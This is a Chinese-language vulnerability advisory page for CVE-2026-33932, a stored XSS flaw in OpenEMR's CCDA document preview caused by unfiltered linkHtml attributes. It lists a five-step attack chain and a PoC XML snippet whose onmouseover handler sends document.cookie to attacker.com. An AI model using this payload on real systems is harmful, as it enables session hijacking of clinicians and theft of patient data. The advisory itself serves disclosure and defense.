IPBUF安全漏洞报告
English
CVE-2026-33932 CVSS 7.6 高危

CVE-2026-33932 OpenEMR 存储型XSS漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33932
漏洞类型
存储型跨站脚本
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenEMR

相关标签

XSSStored XSSOpenEMRCCDACWE-79

漏洞概述

OpenEMR在8.0.0.3版本之前存在存储型跨站脚本(XSS)漏洞。该漏洞位于CCDA文档预览功能中,由于XSL样式表未对`linkHtml`元素的属性进行充分过滤,攻击者可以上传包含恶意JavaScript的CCDA文档。当临床医生预览该文档时,恶意脚本将在其浏览器中执行,可能导致会话劫持或敏感信息泄露。

技术细节

该漏洞源于OpenEMR处理CCDA( continuity of care document)文档时的XSL转换逻辑。在解析CCDA文档时,系统使用XSL样式表将XML数据渲染为HTML。虽然样式表对大多数叙述元素的属性进行了清理,但唯独遗漏了`linkHtml`元素。这导致攻击者可以在`linkHtml`标签中注入`href="javascript:..."`或事件处理器(如`onload`、`onerror`)。由于是存储型XSS,攻击者只需具备上传或发送文档的权限(低权限用户即可),恶意代码便会持久化存储在服务器上。一旦具有更高权限(如临床医生)的用户预览该恶意文档,嵌入的JavaScript代码将在受害者的浏览器上下文中自动执行,从而窃取Cookie、执行未授权操作或篡改页面内容。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个低权限的OpenEMR账户,该账户具有上传或发送CCDA文档的权限。
STEP 2
2. 构造恶意文档
攻击者创建一个特制的CCDA XML文件,在`linkHtml`元素中注入JavaScript代码(如href或事件处理器)。
STEP 3
3. 投放载荷
攻击者通过OpenEMR的上传或发送功能,将包含恶意代码的CCDA文档上传至服务器。
STEP 4
4. 触发漏洞
临床医生或管理员(受害者)在系统中预览该CCDA文档。
STEP 5
5. 执行攻击
浏览器渲染文档时,未经过滤的`linkHtml`属性导致JavaScript在受害者浏览器中执行,攻击者接管会话。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious CCDA Document Snippet targeting linkHtml --> <component> <section> <text> <!-- Exploiting href attribute --> <linkHtml href="javascript:alert('CVE-2026-33932 XSS')">Click for patient info</linkHtml> <!-- Exploiting event handler attribute --> <linkHtml onmouseover="fetch('http://attacker.com/?c='+document.cookie)">Hover here</linkHtml> </text> </section> </component>

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
在未升级版本前,建议限制用户对CCDA文档的预览权限,并仅允许受信任的来源上传文档。管理员应监控异常的网络请求,以防数据外泄。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表